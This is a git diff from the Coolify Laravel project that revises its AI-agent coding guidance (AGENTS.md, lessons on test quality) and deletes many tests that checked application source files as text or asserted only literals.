diff --git a/.ai/lessons.md b/.ai/lessons.md index 1617468912..f47d1c0f63 100644 --- a/.ai/lessons.md +++ b/.ai/lessons.md @@ -22,6 +22,8 @@ - Do not write tests that read Blade or CSS files as text to assert layout, classes, or copy; they break on every redesign and miss real failures. - Render the component (`Livewire::test()`, an HTTP request) and assert the result, including authorization; use a few `tests/v4/Browser` tests with screenshots for visual flows. - A source-text check is acceptable only for a correctness or security rule that rendering cannot prove easily, such as stable `wire:key` values or no raw user output. +- Call the app code under test. Do not copy app logic into a test, assert only literals, constants, `class_exists`/`method_exists`, or PHP built-ins such as `escapeshellarg`. +- Pest test files share one global function scope. Give file-level helper functions a unique name. ## Keep dynamic Livewire identities stable - In dynamic lists, key components and actions with immutable record identities, not counts, indexes, or array positions. diff --git a/.cursor/rules/coolify-ai-docs.mdc b/.cursor/rules/coolify-ai-docs.mdc index d99cc1692e..f3080de0e3 100644 --- a/.cursor/rules/coolify-ai-docs.mdc +++ b/.cursor/rules/coolify-ai-docs.mdc @@ -11,7 +11,7 @@ All Coolify AI documentation has been consolidated in the **`.ai/`** directory f ## Quick Start -- **For Claude Code**: Start with `CLAUDE.md` in the root directory +- **For Claude Code**: Start with `AGENTS.md` in the root directory - **For Cursor IDE**: Start with `.ai/README.md` for navigation - **For All AI Tools**: Browse `.ai/` directory by topic @@ -136,7 +136,7 @@ Use exact versions from `technology-stack.md`: 5. **Form Authorization**: Security requirement, not optional ### When to Use Which File -- **Quick commands**: `CLAUDE.md` or `development-workflow.md` +- **Quick commands**: `AGENTS.md` or `development-workflow.md` - **Detailed patterns**: Topic-specific files in `.ai/patterns/` - **Testing**: `.ai/development/testing-patterns.md` - **Laravel specifics**: `.ai/development/laravel-boost.md` diff --git a/AGENTS.md b/AGENTS.md index b1fb6b0f3d..c541558a60 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -38,7 +38,7 @@ Use the following workflow to test a self-hosted upgrade: 1. Install the source version with the upgrade script: ```bash - bash upgrade.sh sha-6492d081362c009519481ac70e50873e39ba1861 + bash scripts/upgrade.sh sha-6492d081362c009519481ac70e50873e39ba1861 ``` 2. Set the current Coolify version and rebuild the cached configuration: @@ -68,7 +68,7 @@ npm run build # production build ## Browser Tests (Pest Browser Plugin) -Uses `pestphp/pest-plugin-browser` with Laravel Dusk 8. New browser tests go in `tests/v4/Browser/`. +Uses `pestphp/pest-plugin-browser` (Playwright). Browser tests go in `tests/v4/Browser/`. ```bash # Run all browser tests @@ -83,7 +83,7 @@ php artisan test --compact --filter='can login with valid credentials' ### Writing Browser Tests -- Place new tests in `tests/v4/Browser/` — legacy Dusk tests in `tests/Browser/` should not be used as reference. +- Place new tests in `tests/v4/Browser/`. - Use `RefreshDatabase` and seed required data (at minimum `InstanceSettings::create(['id' => 0])`) in `beforeEach`. - Key API: `visit()`, `fill(field, value)`, `click(text)`, `assertSee()`, `assertDontSee()`, `assertPathIs()`, `screenshot()`. - Always call `screenshot()` at the end of each test for debugging. @@ -100,11 +100,10 @@ function loginAsRoot(): mixed ``` - See `tests/v4/Browser/LoginTest.php`, `tests/v4/Browser/DashboardTest.php`, and `tests/v4/Browser/RegistrationTest.php` for conventions. -- Legacy Dusk macros in `app/Providers/DuskServiceProvider.php` use the old `type()`/`press()` API — do not mix with Pest Browser Plugin's `fill()`/`click()` API. ### How Browser Tests Actually Run (no Docker, no display needed) -`visit()` does NOT hit the dev app on `localhost:8000` and does NOT use the Dusk ChromeDriver on `:4444` (that config in `tests/DuskTestCase.php` is legacy). Instead the Pest Browser Plugin: +`visit()` does NOT hit the dev app on `localhost:8000`. Instead the Pest Browser Plugin: 1. Starts a local Playwright server (`node node_modules/.bin/playwright run-server`) and launches a **headless Chromium** from `~/.cache/ms-playwright` (install once with `npm install && npx playwright install chromium`). 2. Boots an **in-process amphp HTTP server** on a random port that serves the Laravel app from the test process itself. @@ -256,7 +255,6 @@ This application is a Laravel application and its main Laravel ecosystems packag - laravel/socialite (SOCIALITE) - v5 - livewire/livewire (LIVEWIRE) - v3 - laravel/boost (BOOST) - v2 -- laravel/dusk (DUSK) - v8 - laravel/pint (PINT) - v1 - pestphp/pest (PEST) - v4 - phpunit/phpunit (PHPUNIT) - v12 diff --git a/CLAUDE.md b/CLAUDE.md deleted file mode 120000 index 47dc3e3d86..0000000000 --- a/CLAUDE.md +++ /dev/null @@ -1 +0,0 @@ -AGENTS.md \ No newline at end of file diff --git a/tests/Feature/AllResourceRestartLimitsTest.php b/tests/Feature/AllResourceRestartLimitsTest.php index 27402b91d6..3e7e84cc92 100644 --- a/tests/Feature/AllResourceRestartLimitsTest.php +++ b/tests/Feature/AllResourceRestartLimitsTest.php @@ -1,8 +1,5 @@ toContain('previewContainerRestartCounts') - ->toContain('serviceContainerRestartCounts') - ->and($sentinelStatus) - ->toContain('previewContainerRestartCounts') - ->toContain('serviceContainerRestartCounts'); -}); - -it('ignores docker compose one-off job containers in both status sources', function () { - $dockerStatus = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php')); - $sentinelStatus = file_get_contents(app_path('Jobs/PushServerUpdateJob.php')); - - expect($dockerStatus) - ->toContain("filter_var(data_get(\$labels, 'com.docker.compose.oneoff'), FILTER_VALIDATE_BOOLEAN)") - ->and($sentinelStatus) - ->toContain("filter_var(\$labels->get('com.docker.compose.oneoff'), FILTER_VALIDATE_BOOLEAN)"); -}); - -it('imports the application model used when claiming a restart limit', function () { - $statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php')); - - expect($statusAction) - ->toContain('use App\\Models\\Application;') - ->toContain('Application::query()'); -}); - it('limits restarts only for applications', function () { - $migrations = collect(glob(database_path('migrations/*.php'))) - ->map(fn (string $path): string => file_get_contents($path)) - ->implode("\n"); - - expect($migrations) - ->toContain("'application_previews'") - ->toContain("'service_applications'") - ->toContain("'max_restart_count'") - ->toContain("'restart_limit_reached'") - ->toContain("dropColumn(['max_restart_count', 'restart_limit_reached'])"); - $databaseModels = [ ServiceDatabase::class, StandalonePostgresql::class, @@ -118,48 +74,9 @@ it('limits restarts only for applications', function () { expect(Schema::hasColumn($databaseTable, 'max_restart_count'))->toBeFalse() ->and(Schema::hasColumn($databaseTable, 'restart_limit_reached'))->toBeFalse(); } - - foreach ([GetContainersStatus::class, PushServerUpdateJob::class] as $statusUpdater) { - $source = file_get_contents((new ReflectionClass($statusUpdater))->getFileName()); - - expect($source) - ->not->toContain('$database->trackRestartCount') - ->not->toContain('$database->stoppedAfterRestartLimit()'); - } - - $stopServiceResource = file_get_contents((new ReflectionClass(StopServiceApplication::class))->getFileName()); - - expect($stopServiceResource) - ->toContain('$resetRestartCount && $serviceApplication instanceof ServiceApplication'); }); it('makes restart limits opt in for new application resources', function () { - $migrationPaths = glob(database_path('migrations/*_make_restart_limits_opt_in.php')); - - expect($migrationPaths)->toHaveCount(1); - - $migration = file_get_contents($migrationPaths[0]); - - expect($migration) - ->toContain("['applications', 'application_previews', 'service_applications']") - ->toContain("integer('max_restart_count')->default(0)->change()") - ->toContain('public $withinTransaction = false;') - ->toContain("->where('max_restart_count', 10)") - ->toContain('->chunkById(5000') - ->toContain("->whereIn('id', \$resources->pluck('id'))") - ->toContain("'max_restart_count' => 0") - ->toContain("'restart_limit_reached' => false"); - - $applicationSettings = file_get_contents(app_path('Livewire/Project/Application/Advanced.php')); - $serviceSettings = file_get_contents(app_path('Livewire/Project/Service/Index.php')); - - expect($applicationSettings) - ->toContain('public int $maxRestartCount = 0;') - ->toContain('$this->application->max_restart_count ?? 0') - ->and($serviceSettings) - ->toContain('public mixed $maxRestartCount = 0;') - ->toContain('$this->serviceApplication->max_restart_count ?? 0'); - foreach ([Application::class, ApplicationPreview::class, ServiceApplication::class] as $modelClass) { expect((new $modelClass)->max_restart_count)->toBe(0); } diff --git a/tests/Feature/ApplicationContainerPresenceTest.php b/tests/Feature/ApplicationContainerPresenceTest.php deleted file mode 100644 index 3622ec7140..0000000000 --- a/tests/Feature/ApplicationContainerPresenceTest.php +++ /dev/null @@ -1,26 +0,0 @@ -forceFill(['container_present' => 1]); - $migration = file_get_contents(base_path('database/migrations/2026_08_30_193506_add_container_present_to_applications_table.php')); - - expect($application->container_present)->toBeTrue() - ->and($migration)->toContain("boolean('container_present')->nullable()"); -}); - -it('updates container presence at application lifecycle boundaries', function () { - $stopAction = file_get_contents(app_path('Actions/Application/StopApplication.php')); - $dockerStatus = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php')); - $sentinelStatus = file_get_contents(app_path('Jobs/PushServerUpdateJob.php')); - - expect($stopAction)->toContain('$containerPresent = ! $removeContainers;') - ->and($stopAction)->toMatch('/if \(\$server->isSwarm\(\)\).*?\$containerPresent = false;.*?docker stack rm/s') - ->and($stopAction)->toContain("'container_present' => \$containerPresent") - ->and($dockerStatus)->toContain("'container_present' => true") - ->and($dockerStatus)->toContain("'container_present' => false") - ->and($sentinelStatus)->toContain("'container_present' => true") - ->and($sentinelStatus)->toContain("'container_present' => false"); -}); diff --git a/tests/Feature/ApplicationPreviewApiTest.php b/tests/Feature/ApplicationPreviewApiTest.php index 829259fae3..bd00eba0e0 100644 --- a/tests/Feature/ApplicationPreviewApiTest.php +++ b/tests/Feature/ApplicationPreviewApiTest.php @@ -177,17 +177,6 @@ describe('GET /api/v1/applications/{uuid}/previews/{pull_request_id}/logs', func ->assertUnprocessable() ->assertJson(['message' => 'Invalid pull_request_id.']); }); - - test('uses the pull request id to select the preview container', function () { - $controller = file_get_contents(app_path('Http/Controllers/Api/ApplicationsController.php')); - $openApi = json_decode(file_get_contents(base_path('openapi.json')), true, flags: JSON_THROW_ON_ERROR); - - expect($controller) - ->toContain("\$request->route('pull_request_id')") - ->toContain('getCurrentApplicationContainerStatus($application->destination->server, $application->id, $pullRequestId)') - ->and($openApi['paths']) - ->toHaveKey('/applications/{uuid}/previews/{pull_request_id}/logs'); - }); }); describe('PATCH /api/v1/applications/{uuid}/previews/{pull_request_id}', function () { diff --git a/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php b/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php index 02ef6ba162..dc1cf5ea0c 100644 --- a/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php +++ b/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php @@ -1,8 +1,6 @@ not->toContain('Restart limit reached'); }); -it('keeps restart tracking configurable when stopping an application', function () { - $method = new ReflectionMethod(StopApplication::class, 'handle'); - $resetRestartCount = collect($method->getParameters())->firstWhere('name', 'resetRestartCount'); - - expect($resetRestartCount)->not->toBeNull() - ->and($resetRestartCount->getDefaultValue())->toBeTrue(); -}); - -it('can stop an application without removing its containers', function () { - $method = new ReflectionMethod(StopApplication::class, 'handle'); - $removeContainers = collect($method->getParameters())->firstWhere('name', 'removeContainers'); - $action = file_get_contents(app_path('Actions/Application/StopApplication.php')); - - expect($removeContainers)->not->toBeNull() - ->and($removeContainers->getDefaultValue())->toBeTrue() - ->and($action)->not->toContain('docker update --restart=no') - ->and($action)->toContain('if ($removeContainers)'); -}); - -it('preserves containers and skips cleanup when the restart limit is reached', function () { - $statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php')); - $sentinelJob = file_get_contents(app_path('Jobs/PushServerUpdateJob.php')); - - expect($statusAction)->toContain('dockerCleanup: false') - ->and($statusAction)->toContain('resetRestartCount: false') - ->and($statusAction)->toContain('removeContainers: false') - ->and($statusAction)->toContain("['restart_limit_reached' => true]") - ->and($sentinelJob)->toContain("['restart_limit_reached' => true]"); -}); - -it('atomically claims the restart limit transition before stopping and notifying', function () { - $statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php')); - $sentinelJob = file_get_contents(app_path('Jobs/PushServerUpdateJob.php')); - - foreach ([$statusAction, $sentinelJob] as $detector) { - expect($detector) - ->toContain("->where('restart_limit_reached', false)") - ->toContain("->update(['restart_limit_reached' => true]) === 1"); - } -}); - -it('clears the explicit restart limit state only after a successful main deployment', function () { - $method = new ReflectionMethod(ApplicationDeploymentJob::class, 'handleSuccessfulDeployment'); - $source = file($method->getFileName()); - $deploymentJob = implode(array_slice($source, $method->getStartLine() - 1, $method->getEndLine() - $method->getStartLine() + 1)); - - expect(substr_count($deploymentJob, "'restart_limit_reached'] = false"))->toBe(1) - ->and($deploymentJob)->toContain("if (\$this->pull_request_id === 0) {\n \$restartState['restart_limit_reached'] = false;\n }") - ->and($deploymentJob)->toContain('$this->application->update($restartState);') - ->and(substr_count($deploymentJob, '$this->application->update('))->toBe(1); -}); - -it('preserves restart-limit applications only while their exited container exists', function () { - $statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php')); - $sentinelJob = file_get_contents(app_path('Jobs/PushServerUpdateJob.php')); - - expect($statusAction)->toContain("'container_present' => false") - ->and($statusAction)->toContain("'restart_limit_reached' => false") - ->and($sentinelJob)->toContain('if ($application->stoppedAfterRestartLimit() && $containerStatuses->every('); -}); - it('builds restart limit notification urls from the instance base url', function () { $application = new Application; $application->forceFill([ diff --git a/tests/Feature/AuditEventsTest.php b/tests/Feature/AuditEventsTest.php index 21771ba5f6..b30526a580 100644 --- a/tests/Feature/AuditEventsTest.php +++ b/tests/Feature/AuditEventsTest.php @@ -1,7 +1,5 @@ getProperty('middleware')->getValue($kernel); - - expect($middleware)->toContain(InvokeDeferredCallbacks::class); -}); - test('audit persistence failures do not fail the action', function () { Schema::rename('audit_events', 'unavailable_audit_events'); @@ -837,23 +827,6 @@ test('audit action filter includes actions recorded for the current team', funct ], $options, true)); }); -test('resource clone audit starts only after the destination server capability check', function () { - $source = file_get_contents(app_path('Livewire/Project/Shared/ResourceOperations.php')); - - expect(strpos($source, "auditLog('ui.resource.clone_started'")) - ->toBeGreaterThan(strpos($source, 'if (! $server->canHostResources())')); -}); - -test('pull and restart records the service restart audit event after starting the service', function () { - $method = new ReflectionMethod(Heading::class, 'pullAndRestartEvent'); - $source = file($method->getFileName()); - $methodSource = implode('', array_slice($source, $method->getStartLine() - 1, $method->getEndLine() - $method->getStartLine() + 1)); - - expect($methodSource) - ->toContain("auditServiceAction('ui.service.restarted')") - ->and(strpos($methodSource, 'StartService::run'))->toBeLessThan(strpos($methodSource, 'auditServiceAction')); -}); - test('critical operational events persist with their source action and actor', function (string $event) { auditLog($event, [ 'team_id' => $this->team->id, diff --git a/tests/Feature/ComposeEditorLayoutTest.php b/tests/Feature/ComposeEditorLayoutTest.php index 88138480c9..98d5051e38 100644 --- a/tests/Feature/ComposeEditorLayoutTest.php +++ b/tests/Feature/ComposeEditorLayoutTest.php @@ -2,20 +2,6 @@ use Illuminate\Support\Facades\Blade; -it('keeps the save button loading until the parent compose save finishes', function () { - $component = file_get_contents(app_path('Livewire/Project/Service/StackForm.php')); - - expect($component) - ->toContain('public function saveCompose($raw)') - ->toContain("\$this->dispatch('compose-save-finished')"); -}); - -it('does not show a saving notification for compose changes', function () { - $component = file_get_contents(app_path('Livewire/Project/Service/EditCompose.php')); - - expect($component)->not->toContain("\$this->dispatch('info', 'Saving new docker compose...')"); -}); - it('keeps the saving state as an Alpine button binding', function () { $html = Blade::render('Save changes'); diff --git a/tests/Feature/ContentFilesBeforeComposeUpTest.php b/tests/Feature/ContentFilesBeforeComposeUpTest.php index 6a76566554..f310026e52 100644 --- a/tests/Feature/ContentFilesBeforeComposeUpTest.php +++ b/tests/Feature/ContentFilesBeforeComposeUpTest.php @@ -499,21 +499,6 @@ test('the storage save job does not delete a directory that is not empty', funct expect($volume->fresh()->is_directory)->toBeFalse(); }); -test('the Compose deployment writes content files after it removes the old containers', function () { - $source = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); - $methodStart = strpos($source, 'private function deploy_docker_compose_buildpack()'); - $methodEnd = strpos($source, 'private function pull_docker_compose_images()', $methodStart); - $deploymentMethod = substr($source, $methodStart, $methodEnd - $methodStart); - - $stopPosition = strpos($deploymentMethod, '$this->stop_running_container(force: true);'); - $startPosition = strpos($deploymentMethod, '$this->start_docker_compose_services();'); - - expect($stopPosition)->not->toBeFalse() - ->and($startPosition)->not->toBeFalse() - ->and($stopPosition)->toBeLessThan($startPosition) - ->and(substr_count($deploymentMethod, ' up -d'))->toBe(0); -}); - test('the server file sync keeps the content of a file storage when a directory is at its path', function () { $volume = contentFilesVolume($this->application, 'conf/app.conf'); fakeContentFilesServer([$volume->fs_path => 'directory']); diff --git a/tests/Feature/DatabaseImportCommandInjectionTest.php b/tests/Feature/DatabaseImportCommandInjectionTest.php index 114d198844..e2985e44bf 100644 --- a/tests/Feature/DatabaseImportCommandInjectionTest.php +++ b/tests/Feature/DatabaseImportCommandInjectionTest.php @@ -102,25 +102,3 @@ describe('server method uses team scoping', function () { expect($methodBody)->not->toContain('Server::find($this->serverId)'); }); }); - -describe('ImportForm component uses shared ValidationPatterns', function () { - test('runImport references ValidationPatterns for container validation', function () { - $method = new ReflectionMethod(ImportForm::class, 'runImport'); - $startLine = $method->getStartLine(); - $endLine = $method->getEndLine(); - $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); - $methodBody = implode('', $lines); - - expect($methodBody)->toContain('ValidationPatterns::isValidContainerName'); - }); - - test('restoreFromS3 references ValidationPatterns for container validation', function () { - $method = new ReflectionMethod(ImportForm::class, 'restoreFromS3'); - $startLine = $method->getStartLine(); - $endLine = $method->getEndLine(); - $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); - $methodBody = implode('', $lines); - - expect($methodBody)->toContain('ValidationPatterns::isValidContainerName'); - }); -}); diff --git a/tests/Feature/DevHelperVersionValidationTest.php b/tests/Feature/DevHelperVersionValidationTest.php index 0a91141850..65a1b5a275 100644 --- a/tests/Feature/DevHelperVersionValidationTest.php +++ b/tests/Feature/DevHelperVersionValidationTest.php @@ -99,11 +99,3 @@ test('development helper version is read fresh for queue workers', function () { expect(getHelperVersion())->toBe('second'); }); - -test('development helper build uses the configured helper repository', function () { - $component = file_get_contents(app_path('Livewire/Settings/Index.php')); - - expect($component) - ->toContain('$imageRef = escapeshellarg(coolifyHelperImage().":{$version}");') - ->not->toContain('"ghcr.io/coollabsio/coolify-helper:{$version}"'); -}); diff --git a/tests/Feature/DomainChipsComponentTest.php b/tests/Feature/DomainChipsComponentTest.php deleted file mode 100644 index e28bd6b59e..0000000000 --- a/tests/Feature/DomainChipsComponentTest.php +++ /dev/null @@ -1,10 +0,0 @@ -toContain('public function enablePublicAccess(): void') - ->toContain('public function disablePublicAccess(): void') - ->toContain('$this->instantSave()'); -}); diff --git a/tests/Feature/EnvironmentVariableTableLayoutTest.php b/tests/Feature/EnvironmentVariableTableLayoutTest.php deleted file mode 100644 index 17f7b61927..0000000000 --- a/tests/Feature/EnvironmentVariableTableLayoutTest.php +++ /dev/null @@ -1,22 +0,0 @@ -toContain("CASE WHEN key LIKE 'SERVICE_FQDN%'") - ->toMatch("/'kind' => 'managed',[\\s\\S]+?'kind' => 'hardcoded'/"); -}); - -test('missing required environment variables are ordered before generated service variables', function () { - $component = file_get_contents(app_path('Livewire/Project/Shared/EnvironmentVariable/All.php')); - - $requiredOrder = strpos($component, '$this->missingRequiredEnvironmentVariableIds($isPreview)', strpos($component, 'private function managedEnvironmentVariablesQuery')); - $generatedOrder = strpos($component, "CASE WHEN key LIKE 'SERVICE_FQDN%'", strpos($component, 'private function managedEnvironmentVariablesQuery')); - - expect($requiredOrder) - ->not->toBeFalse() - ->toBeLessThan($generatedOrder) - ->and($component) - ->toContain('->filter(fn (EnvironmentVariable $environmentVariable): bool => $environmentVariable->is_really_required)'); -}); diff --git a/tests/Feature/Jobs/CheckTraefikVersionJobTest.php b/tests/Feature/Jobs/CheckTraefikVersionJobTest.php index 7b127ba7f2..66b40a717b 100644 --- a/tests/Feature/Jobs/CheckTraefikVersionJobTest.php +++ b/tests/Feature/Jobs/CheckTraefikVersionJobTest.php @@ -5,7 +5,6 @@ use App\Models\InstanceSettings; use App\Models\Server; use App\Models\Team; use App\Notifications\Server\TraefikVersionOutdated; -use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\File; @@ -88,37 +87,6 @@ it('versions.json contains traefik branches with patch versions', function () { expect($newestBranch)->toBe('3.7'); }); -it('formats version with v prefix for display', function () { - // Test the formatVersion logic from notification class - $version = '3.6'; - $formatted = str_starts_with($version, 'v') ? $version : "v{$version}"; - - expect($formatted)->toBe('v3.6'); - - $versionWithPrefix = 'v3.6'; - $formatted2 = str_starts_with($versionWithPrefix, 'v') ? $versionWithPrefix : "v{$versionWithPrefix}"; - - expect($formatted2)->toBe('v3.6'); -}); - -it('compares semantic versions correctly', function () { - // Test version comparison logic used in job - $currentVersion = 'v3.5'; - $latestVersion = 'v3.6'; - - $isOutdated = version_compare(ltrim($currentVersion, 'v'), ltrim($latestVersion, 'v'), '<'); - - expect($isOutdated)->toBeTrue(); - - // Test equal versions - $sameVersion = version_compare(ltrim('3.6', 'v'), ltrim('3.6', 'v'), '='); - expect($sameVersion)->toBeTrue(); - - // Test newer version - $newerVersion = version_compare(ltrim('3.7', 'v'), ltrim('3.6', 'v'), '>'); - expect($newerVersion)->toBeTrue(); -}); - it('notification class accepts servers collection with outdated info', function () { $team = Team::factory()->create(); $server1 = Server::factory()->make([ @@ -177,47 +145,6 @@ it('job handles servers with no proxy type', function () { expect($server->proxyType())->toBeNull(); }); -it('handles latest tag correctly', function () { - // Test that 'latest' tag is not considered for outdated comparison - $currentVersion = 'latest'; - $latestVersion = '3.6'; - - // Job skips notification for 'latest' tag - $shouldNotify = $currentVersion !== 'latest'; - - expect($shouldNotify)->toBeFalse(); -}); - -it('groups servers by team correctly', function () { - $team1 = Team::factory()->create(['name' => 'Team 1']); - $team2 = Team::factory()->create(['name' => 'Team 2']); - - $servers = collect([ - (object) ['team_id' => $team1->id, 'name' => 'Server 1'], - (object) ['team_id' => $team1->id, 'name' => 'Server 2'], - (object) ['team_id' => $team2->id, 'name' => 'Server 3'], - ]); - - $grouped = $servers->groupBy('team_id'); - - expect($grouped)->toHaveCount(2); - expect($grouped[$team1->id])->toHaveCount(2); - expect($grouped[$team2->id])->toHaveCount(1); -}); - -it('server check job exists and has correct structure', function () { - expect(class_exists(CheckTraefikVersionForServerJob::class))->toBeTrue(); - - // Verify CheckTraefikVersionForServerJob has required properties - $reflection = new ReflectionClass(CheckTraefikVersionForServerJob::class); - expect($reflection->hasProperty('tries'))->toBeTrue(); - expect($reflection->hasProperty('timeout'))->toBeTrue(); - - // Verify it implements ShouldQueue - $interfaces = class_implements(CheckTraefikVersionForServerJob::class); - expect($interfaces)->toContain(ShouldQueue::class); -}); - it('sends immediate notifications when outdated traefik is detected', function () { // Notifications are now sent immediately from CheckTraefikVersionForServerJob // when outdated Traefik is detected, rather than being aggregated and delayed diff --git a/tests/Feature/Jobs/DatabaseBackupJobTest.php b/tests/Feature/Jobs/DatabaseBackupJobTest.php index 1c4047252d..3ff9a2cf28 100644 --- a/tests/Feature/Jobs/DatabaseBackupJobTest.php +++ b/tests/Feature/Jobs/DatabaseBackupJobTest.php @@ -360,17 +360,6 @@ test('database dump compression uses the helper image and shared CPU setting', f 'high' => 75, ]); -test('all dump all database commands use shared helper compression', function () { - $source = file_get_contents(app_path('Jobs/DatabaseBackupJob.php')); - - expect($source) - ->toContain('$this->buildCompressedDumpCommand($backupCommand)') - ->toContain('mysqldump -u root') - ->toContain('mariadb-dump -u root') - ->and(substr_count($source, '$this->buildCompressedDumpCommand($dumpCommand)'))->toBe(3) - ->and($source)->not->toContain('| gzip >'); -}); - test('full database dumps create one logical all-databases archive regardless of saved database names', function (string $databaseType) { $backup = new ScheduledDatabaseBackup([ 'dump_all' => true, @@ -398,13 +387,3 @@ test('specific database dumps keep every selected database', function (string $d expect($databases)->toBe(['default', 'analytics']); })->with(['postgresql', 'mysql', 'mariadb']); - -test('individual database backup deletion surfaces local failures and honors selected S3 deletion', function () { - $source = file_get_contents(app_path('Livewire/Project/Database/BackupExecutions.php')); - - expect($source) - ->toContain("in_array('delete_backup_s3', \$selectedActions, true)") - ->toContain('deleteBackupsLocally($execution->filename, $server, throwError: true)') - ->toContain("throw new \\RuntimeException('The backup server is unavailable.')") - ->not->toContain('deleteBackupsLocally($execution->filename, $server);'); -}); diff --git a/tests/Feature/NotificationRestartLimitSettingTest.php b/tests/Feature/NotificationRestartLimitSettingTest.php deleted file mode 100644 index 263e424d3f..0000000000 --- a/tests/Feature/NotificationRestartLimitSettingTest.php +++ /dev/null @@ -1,32 +0,0 @@ -toContain("public bool \${$property} = true;") - ->toContain("\$this->settings->{$column} = \$this->{$property};") - ->toContain("\$this->{$property} = \$this->settings->{$column};") - ->and($model) - ->toContain("'{$column}'"); -})->with(['email', 'discord', 'telegram', 'slack', 'pushover', 'webhook']); - -it('enables restart limit notifications by default in every channel migration', function () { - $migrations = collect(glob(database_path('migrations/*_add_restart_limit_reached_notifications_to_*'))); - - expect($migrations)->toHaveCount(6); - $migrations->each(fn (string $migration) => expect(file_get_contents($migration))->toContain('->default(true)')); -}); - -it('uses the inline validator facade for notification API updates', function () { - $controller = file_get_contents(app_path('Http/Controllers/Api/NotificationsController.php')); - - expect($controller) - ->toContain('use Illuminate\\Support\\Facades\\Validator;') - ->toContain("Validator::make(\$body, \$config['rules'])") - ->not->toContain("customApiValidator(\$body, \$config['rules'])"); -}); diff --git a/tests/Feature/PreviewDomainPortOverridesTest.php b/tests/Feature/PreviewDomainPortOverridesTest.php index 9d532d011f..db78ef95ca 100644 --- a/tests/Feature/PreviewDomainPortOverridesTest.php +++ b/tests/Feature/PreviewDomainPortOverridesTest.php @@ -394,16 +394,6 @@ it('copies the parent domain port override onto a generated preview domain', fun ->toBe([8080]); }); -it('saves generated preview domains once in the application parser', function () { - $parser = file_get_contents(base_path('bootstrap/helpers/parsers.php')); - $previewGeneration = Str::of($parser) - ->after('// If the domain is set, we need to generate the FQDNs for the preview') - ->before('$defaultLabels = defaultLabels'); - - expect($previewGeneration->substrCount('$preview->save();'))->toBe(1) - ->and((string) $previewGeneration)->toContain('$preview->fqdn = $fqdns->implode(\',\');'); -}); - it('keeps every generated preview domain port override in the legacy compose parser', function () { $this->application->update([ 'build_pack' => 'dockercompose', diff --git a/tests/Feature/PreviewEnvVarFallbackTest.php b/tests/Feature/PreviewEnvVarFallbackTest.php index e3fc3023f3..985f1e0cc2 100644 --- a/tests/Feature/PreviewEnvVarFallbackTest.php +++ b/tests/Feature/PreviewEnvVarFallbackTest.php @@ -27,182 +27,6 @@ beforeEach(function () { $this->actingAs($this->user); }); -/** - * Simulate the preview .env generation logic from - * ApplicationDeploymentJob::generate_runtime_environment_variables() - * including the production fallback fix. - */ -function simulatePreviewEnvGeneration(Application $application): \Illuminate\Support\Collection -{ - $sorted_environment_variables = $application->environment_variables->sortBy('id'); - $sorted_environment_variables_preview = $application->environment_variables_preview->sortBy('id'); - - $envs = collect([]); - - // Preview vars - $runtime_environment_variables_preview = $sorted_environment_variables_preview->filter(fn ($env) => $env->is_runtime); - foreach ($runtime_environment_variables_preview as $env) { - $envs->push($env->key.'='.$env->real_value); - } - - // Fallback: production vars not overridden by preview, - // only when preview vars are configured - if ($runtime_environment_variables_preview->isNotEmpty()) { - $previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray(); - $fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) { - return $env->is_runtime && ! in_array($env->key, $previewKeys); - }); - foreach ($fallback_production_vars as $env) { - $envs->push($env->key.'='.$env->real_value); - } - } - - return $envs; -} - -test('production vars fall back when preview vars exist but do not cover all keys', function () { - // Create two production vars (booted hook auto-creates preview copies) - EnvironmentVariable::create([ - 'key' => 'DB_PASSWORD', - 'value' => 'secret123', - 'is_preview' => false, - 'is_runtime' => true, - 'is_buildtime' => false, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - EnvironmentVariable::create([ - 'key' => 'APP_KEY', - 'value' => 'app_key_value', - 'is_preview' => false, - 'is_runtime' => true, - 'is_buildtime' => false, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - // Delete only the DB_PASSWORD preview copy — APP_KEY preview copy remains - $this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->delete(); - $this->application->refresh(); - - // Preview has APP_KEY but not DB_PASSWORD - expect($this->application->environment_variables_preview()->where('key', 'APP_KEY')->count())->toBe(1); - expect($this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->count())->toBe(0); - - $envs = simulatePreviewEnvGeneration($this->application); - - $envString = $envs->implode("\n"); - // DB_PASSWORD should fall back from production - expect($envString)->toContain('DB_PASSWORD='); - // APP_KEY should use the preview value - expect($envString)->toContain('APP_KEY='); -}); - -test('no fallback when no preview vars are configured at all', function () { - // Create a production-only var (booted hook auto-creates preview copy) - EnvironmentVariable::create([ - 'key' => 'DB_PASSWORD', - 'value' => 'secret123', - 'is_preview' => false, - 'is_runtime' => true, - 'is_buildtime' => false, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - // Delete ALL preview copies — simulates no preview config - $this->application->environment_variables_preview()->delete(); - $this->application->refresh(); - - expect($this->application->environment_variables_preview()->count())->toBe(0); - - $envs = simulatePreviewEnvGeneration($this->application); - - $envString = $envs->implode("\n"); - // Should NOT fall back to production when no preview vars exist - expect($envString)->not->toContain('DB_PASSWORD='); -}); - -test('preview var overrides production var when both exist', function () { - // Create production var (auto-creates preview copy) - EnvironmentVariable::create([ - 'key' => 'DB_PASSWORD', - 'value' => 'prod_password', - 'is_preview' => false, - 'is_runtime' => true, - 'is_buildtime' => false, - 'resourceable_type' => 